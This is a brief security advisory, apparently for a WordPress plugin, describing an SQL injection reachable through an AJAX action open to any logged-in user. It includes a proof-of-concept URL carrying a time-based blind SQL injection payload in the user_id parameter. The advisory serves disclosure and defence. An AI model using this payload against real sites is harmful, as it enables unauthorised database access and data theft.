The plugin does not sanitise and escape parameters before using them in SQL statements via AJAX actions available to any authenticated users, leading to SQL Injections
Open the following URL as any authenticated user (such as subscriber): https://example.com/wp-admin/admin-ajax.php?action=get-achievements&total_only=true&user_id=11%20AND%20(SELECT%209628%20FROM%20(SELECT(SLEEP(5)))WOrh)--%20KUsb